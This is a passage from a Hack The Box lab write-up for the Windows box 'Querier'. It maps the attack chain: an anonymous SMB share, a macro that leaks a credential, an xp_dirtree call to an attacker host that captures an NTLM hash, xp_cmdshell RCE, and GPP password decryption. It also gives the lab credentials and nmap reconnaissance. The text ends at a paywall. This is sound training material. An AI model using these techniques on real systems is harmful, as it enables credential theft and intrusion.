Querier
Executive summary — Querier revolves around Microsoft SQL Server 2017 and chains three credential hops, each enabled by a different hygiene failure: an unauthenticated, readable SMB share exposes an Excel workbook with macros that leaks a database credential; that low-privilege account can still call
xp_dirtreeto force the SQL Server service itself to authenticate over NTLM against a controlled host — capturing and cracking themssql-svchash, which is sysadmin; withxp_cmdshellenabled and RCE in hand, PowerUp finds anAdministratorcredential cached in a Group Policy Preferences file (MS14-025), which opens WinRM as local administrator. What makes this box "Medium" isn't any single step, but an authentication nuance:reportingisn't a native SQL login, it's a Windows account mapped into SQL, and you have to authenticate over NTLM against the machine's NetBIOS name instead of writing the credential off as invalid.
| Platform | Hack The Box |
| Operating system | Windows Server 2019 Standard (Build 17763) |
| Difficulty | Medium |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[445/SMB] \\QUERIER\Reports (null session) -> Currency Volume Report.xlsm
| VBA macro -> reporting : PcwTWTHRwryjc$c6
v
[1433/MSSQL] windows-auth QUERIER/reporting (local Windows account, not a SQL login)
| EXEC xp_dirtree '\\<ATTACKER_IP>\x' -> Responder captures mssql-svc NTLMv2
v
[John] netntlmv2 + rockyou -> mssql-svc : corporate568
|
v
[1433/MSSQL] mssql-svc = sysadmin -> xp_cmdshell -> RCE -> user.txt
| PowerUp Invoke-AllChecks
v
[GPP] Cached Groups.xml -> cpassword (MS14-025) -> Administrator : MyUnclesAreMarioAndLuigi!!1!
|
v
[WinRM/SMB] Local Administrator -> root.txt + SAM/LSA dump
1. Reconnaissance
sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt <TARGET_IP>
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s # Microsoft SQL Server
5985/tcp open wsman # WinRM
47001/tcp open winrm
49664-49671/tcp open (dynamic RPC)
A ping TTL of ≈127 (starting at 128, one router hop) already points to Windows. What matters more is what's missing: no 88/Kerberos, 389/LDAP or 53/DNS means this is not a domain controller, but a standalone Windows server running SQL Server. The useful surface narrows down to SMB (445) and MSSQL (1433).
sudo nmap -p135,139,445,1433,5985,47001 -sCV -Pn -oN nmap-services.txt <TARGET_IP>
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Computer_Name: QUERIER.HTB.LOCAL
|_ Product_Version: 10.0.17763
| ms-sql-info:
|_ Version: Microsoft SQL Server 2017 RTM
| smb2-security-mode:
|_ Message signing enabled but not required
The ms-sql-ntlm-info script fires an NTLM challenge at port 1433 and, without authenticating, already returns the host's NetBIOS name (QUERIER) and domain (HTB.LOCAL) — a detail that turns out to be essential later for Windows authentication against SQL Server.
echo "<TARGET_IP> querier.htb.local querier.htb QUERIER" | sudo tee -a /etc/hosts
Methodology note: run the full
-p-scan first. A default 1000-port scan would have found 445, but port 1433 — this box's actual attack vector — isn't among the common ports and would have been missed.
Root Access unlocks the content you can't see — everything else on the site is already open.
See Root Access plansNo account? Create one free then upgrade from your console.